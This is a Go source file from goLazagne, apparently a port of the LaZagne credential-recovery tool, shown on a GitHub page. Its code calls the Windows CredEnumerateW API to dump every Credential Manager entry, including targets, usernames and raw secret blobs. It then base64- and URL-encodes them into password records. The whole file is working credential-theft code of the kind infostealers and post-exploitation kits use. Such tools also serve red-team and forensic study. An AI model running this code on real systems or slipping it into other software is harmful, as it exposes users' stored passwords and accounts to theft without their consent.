-
Notifications
You must be signed in to change notification settings - Fork 39
/
credman.go
190 lines (155 loc) · 3.79 KB
/
credman.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
package windows
import (
"encoding/base64"
"encoding/hex"
"log"
"net/url"
"syscall"
"unicode/utf16"
"unsafe"
"github.com/kerbyj/goLazagne/common"
)
/*
* Windows data types
*
* https://docs.microsoft.com/en-us/windows/desktop/winprog/windows-data-types
*/
/*
* FILETIME structure
*
* https://docs.microsoft.com/en-us/windows/desktop/api/minwinbase/ns-minwinbase-filetime
*/
type winFileTime struct {
LowDateTime uint32
HighDateTime uint32
}
/*
* CREDENTIALW structure
*
* https://docs.microsoft.com/en-us/windows/desktop/api/wincred/ns-wincred-credentialw
*/
type winCred struct {
Flags uint32
Type uint32
TargetName uintptr
Comment uintptr
LastWritten winFileTime
CredentialBlobSize uint32
CredentialBlob uintptr
Persist uint32
AttributeCount uint32
Attributes uintptr
TargetAlias uintptr
UserName uintptr
}
// Structure for parsed data from windows credential manager
type ParsedCred struct {
Target string
User string
Blob string
}
var (
dlladvapi32 = syscall.NewLazyDLL("Advapi32.dll")
credEnumerateW = dlladvapi32.NewProc("CredEnumerateW")
credFree = dlladvapi32.NewProc("CredFree")
)
func extractString(p uintptr) string {
if p == 0 {
return ""
}
out := make([]uint16, 0, 64)
for i := 0; ; i += 2 {
c := *((*uint16)(unsafe.Pointer(p + uintptr(i))))
if c == 0 {
break
}
out = append(out, c)
}
return string(utf16.Decode(out))
}
func extractBytes(p uintptr, len uintptr) []byte {
if p == 0 {
return []byte{}
}
out := make([]byte, len)
for i := range out {
out[i] = *((*byte)(unsafe.Pointer(p + uintptr(i))))
}
return out
}
func parseCred(c *winCred) ParsedCred {
blob := extractBytes(c.CredentialBlob,
(uintptr)(c.CredentialBlobSize))
return ParsedCred{
Target: extractString(c.TargetName),
User: extractString(c.UserName),
Blob: hex.EncodeToString(blob),
}
}
// Dump data with credEnumerateW winapi function
func DumpCreds() (out []ParsedCred, err error) {
var ncreds, creds uintptr
/*
* CredEnumerateW function
*
* https://docs.microsoft.com/en-us/windows/desktop/api/wincred/nf-wincred-credenumeratew
*/
r1, _, lastErr := credEnumerateW.Call(0, 0,
(uintptr)(unsafe.Pointer(&ncreds)),
(uintptr)(unsafe.Pointer(&creds)))
if r1 != 1 {
return nil, lastErr
}
/*
* Iterate over returned pointers to CREDENTIALW structures
*/
for i := 0; i < int(ncreds); i++ {
off := unsafe.Sizeof(creds) * uintptr(i)
wcp := *(*uintptr)(unsafe.Pointer(creds + off))
parsedCred := parseCred((*winCred)(unsafe.Pointer(wcp)))
out = append(out, parsedCred)
}
/*
* CredFree function
*
* https://docs.microsoft.com/en-us/windows/desktop/api/wincred/nf-wincred-credfree
*/
credFree.Call(creds)
return out, nil
}
// Start credential manager data extract
func CredManModuleStart() common.ExtractCredentialsResult {
var unsuccessfulResult = common.ExtractCredentialsResult{
Success: false,
Data: []common.UrlNamePass{},
}
/*
Dump credman with WinApi function
*/
creds, err := DumpCreds()
if err != nil {
log.Println(err)
return unsuccessfulResult
}
var (
Result common.ExtractCredentialsResult
data []common.UrlNamePass
)
for i := range creds {
var encodedBlob = url.QueryEscape(base64.StdEncoding.EncodeToString([]byte(creds[i].Blob)))
var encodedTarget = url.QueryEscape(base64.StdEncoding.EncodeToString([]byte(creds[i].Target)))
var encodedUsername = url.QueryEscape(base64.StdEncoding.EncodeToString([]byte(creds[i].User)))
data = append(data, common.UrlNamePass{
Url: encodedTarget,
Username: encodedUsername,
Pass: encodedBlob,
})
}
if len(data) == 0 {
Result.Success = false
return unsuccessfulResult
}
Result.Data = data
Result.Success = true
return Result
}